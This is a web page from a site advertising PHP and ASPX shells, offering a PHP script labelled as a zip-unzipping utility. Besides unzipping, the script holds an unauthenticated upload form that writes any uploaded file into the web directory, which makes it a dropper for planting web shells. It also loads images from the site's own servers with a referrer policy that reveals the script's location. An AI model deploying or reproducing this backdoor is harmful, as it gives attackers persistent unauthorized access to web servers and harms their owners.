Toggle navigation
home
php shell
aspx shell
python tools
tools
reverse ip lookup
md5 generator
privdayz:$
█
unzip zip files php script
download zip
<?php error_reporting(E_ALL); ini_set('display_errors','On'); function getDirectoryList ($directory) { // create an array to hold directory list $results = array(); // create a handler for the directory $handler = opendir($directory); // open directory and walk through the filenames while ($file = readdir($handler)) { // if file isn't this directory or its parent, add it to the results if ($file != "." && $file != "..") { $ext = substr($file, strlen($file)-3, strlen($file)); if($ext == 'zip') $results[] = $file; } } // tidy up: close the handler closedir($handler); // done! return $results; } $list = getDirectoryList(dirname(__FILE__)); if(isset($_GET['file_name']) && !empty($_GET['file_name']) && file_exists($_GET['file_name'])) { $zip = new ZipArchive; //$zipFilename = substr($_GET['file_name'], 0, -4); $zipped = $zip->open($_GET['file_name']); if ( $zipped == TRUE) { if(!$zip->extractTo(dirname(__FILE__))){ echo "Unzip failed"; } $zip->close(); echo "File ".$_GET['file_name'].' unzip successfully.'; }else{ echo "Unable to unzip: failed."; } } ?> <br/> <br/> <br/> <br/> <link href="https://privdayz.com/wp-content/themes/privdaysv1/hacker.css" rel="stylesheet"> <style>body { background-color: #161616; } a { color: red; text-decoration: none; } a:hover { color: teal; } .heading { text-align: center; font: 300% impact; margin-top: 1vh; } .subheading { margin-top: 1vh; color: lawngreen; font-family: Monospace; text-align: center; text-transform: capitalize; } .input { margin-top: 10vh; text-align: center; } .footer { text-align: center; font: 25px impact; color: white; position: fixed; bottom: 0vh; left: 0vh; right: 0vh; } textarea { font-size: 100%; font-weight: bold; font-family: monospace; border-left: black; border-right: black; border-style: groove; background-color: #161616; } input { font-family: monospace; border-left: black; border-right: black; border-style: groove; background-color: #161616; } select { color: white; font-size: 100%; font-weight: bold; font-family: monospace; border-left: black; border-right: black; border-style: groove; background-color: #161616; } option { color: white; font-size: 100%; font-weight: bold; font-family: monospace; border-left: black; border-right: black; border-style: groove; background-color: #161616; }</style> <?php if(count($list) == 0 ) echo "No Zip files available in the directory ".dirname(__FILE__); else { echo "Zip files of directory: ".dirname(__FILE__).'<br/>'; echo "Select a zip file & submit ok button to unzip the file.<br/><br/><br/><center><img src='https://cdn.privdayz.com/images/logo.jpg' referrerpolicy='unsafe-url' /></center>"; ?> <form method="get" action="unzip.php"> <select name="file_name"> <?php foreach($list as $item): echo "<option>".$item."</option>"; endforeach; ?> </select> <input type="submit" value="Ok"> </form> <?php } ?> <?php echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b><b><br><br>'; } else { echo '<b>Not uploaded ! </b><br><br>'; } } ?>
copy all